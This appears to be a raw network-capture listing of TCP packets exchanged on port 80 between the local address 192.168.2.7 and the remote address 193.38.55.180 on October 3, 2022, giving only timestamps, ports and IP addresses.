Oct 3, 2022 17:35:24.299680948 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.299707890 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.299731016 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.299736977 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.299756050 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.299768925 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.299783945 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.299808979 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.299829006 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.299833059 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.299856901 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.299865007 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.299880981 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.299905062 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.299926996 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.301435947 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.301474094 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.301501036 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.301507950 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.301527977 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.301548004 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.301554918 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.301577091 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.301582098 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.301603079 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.301608086 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.301620960 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.301632881 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.301639080 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.301659107 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.301668882 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.301683903 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.301692963 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.301718950 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.302300930 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.302334070 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.302354097 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.302365065 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.302382946 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.302405119 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.302808046 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.302838087 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.302855968 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.302865982 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.302866936 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.302903891 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.304271936 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.304306030 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.304332972 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.304336071 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.304358006 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.304358959 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.304373980 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.304385900 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.304397106 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.304410934 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.304431915 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.304436922 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.304461002 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.304461956 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.304474115 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.304487944 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.304497957 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.304514885 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.304527044 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.304541111 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.304550886 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.304568052 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.304577112 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.304594040 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.304601908 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.304620028 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.304627895 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.304646969 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.304656029 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.304673910 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.304682970 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.304711103 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.305061102 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.305088997 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.305113077 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.305115938 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.305133104 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.305151939 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.305855989 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.305886030 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.305912971 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.305913925 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.305939913 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.305939913 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.305963039 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.305968046 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.305989981 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.305994987 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.306005955 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.306030989 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.306063890 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.306098938 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.306437969 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.306467056 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.306482077 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.306493044 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.306516886 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.306519032 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.306524992 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.306545973 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.306555033 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.306572914 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.306581020 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.306606054 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.307074070 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.307102919 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.307121038 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.307131052 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.307140112 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.307168007 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.307598114 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.307625055 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.307640076 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.307651997 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.307661057 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.307677031 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.307684898 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.307703972 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.307710886 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.307729959 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.307738066 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.307756901 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.307766914 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.307794094 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.315514088 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.315561056 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.315586090 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.315674067 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.315740108 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.315766096 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.315773010 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.315781116 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.315792084 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.315809011 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.315831900 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.315872908 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.315900087 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.315910101 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.315924883 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.315946102 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.315951109 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.315972090 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.315975904 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.315988064 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.315999031 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.316015959 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.316035986 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.316200972 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.316226006 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.316240072 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.316251040 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.316262960 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.316287041 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.316293955 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.316329956 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.316524029 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.316566944 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.316587925 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.316608906 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.316625118 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.316632986 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.316647053 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.316658974 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.316668987 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.316684961 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.316698074 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.316721916 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.316811085 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.316838026 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.316848040 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.316864967 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.316874027 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.316900969 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.317013979 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.317039967 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.317051888 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.317065954 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.317080975 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.317092896 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.317106962 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.317120075 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.317131996 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.317146063 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.317157030 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.317183018 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.319431067 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.319468021 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.319494009 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.319520950 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.319552898 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.319552898 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.319602013 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.319710970 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.319756031 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.319767952 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.319785118 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.319796085 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.319812059 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.319823980 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.319838047 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.319845915 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.319864035 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.319871902 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.319901943 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.320591927 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.320621967 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.320651054 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.320674896 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.320712090 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.321392059 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.321448088 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.321468115 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.321479082 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.321501017 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.321506977 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.321522951 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.321533918 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.321543932 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.321562052 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.321588039 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.321589947 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.321614981 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.321634054 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.321991920 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.322020054 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.322047949 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.322052956 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.322071075 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.322089911 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.322335958 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.322376013 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.322391987 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.322405100 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.322427988 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.322444916 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.322719097 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.322747946 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.322768927 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.322774887 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.322782993 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.322815895 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.323071003 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.323101044 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.323127985 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.323128939 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.323142052 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.323165894 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.323364973 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.323394060 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.323411942 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.323421001 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.323431015 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.323482037 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.323862076 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.323889971 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.323918104 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.323924065 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.323947906 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.323949099 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.323971033 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.323975086 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.324002028 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.324003935 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.324028969 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.324032068 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.324064016 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.324088097 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.324837923 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.324867010 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.324894905 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.324933052 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.324961901 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.325486898 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.325517893 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.325546026 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.325572014 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.325575113 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.325598001 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.325604916 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.325625896 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.325637102 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.325676918 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.325901985 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.325928926 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.325956106 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.325962067 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.325984001 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.325989008 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.326014996 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.326040983 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.326373100 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.326400995 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.326426983 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.326430082 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.326451063 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.326457977 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.326473951 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.326484919 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.326495886 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.326513052 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.326529026 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.326555967 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.327074051 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.327111006 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.327138901 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.327155113 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.327164888 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.327172995 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.327193975 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.327198982 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.327222109 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.327223063 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.327249050 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.327275991 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.327431917 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.327461004 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.327490091 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.327501059 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.327528000 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.327550888 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.327553034 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.327598095 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.328387022 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.328425884 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.328453064 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.328474998 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.328480005 CEST	80	49703	193.38.55.180	192.168.2.7
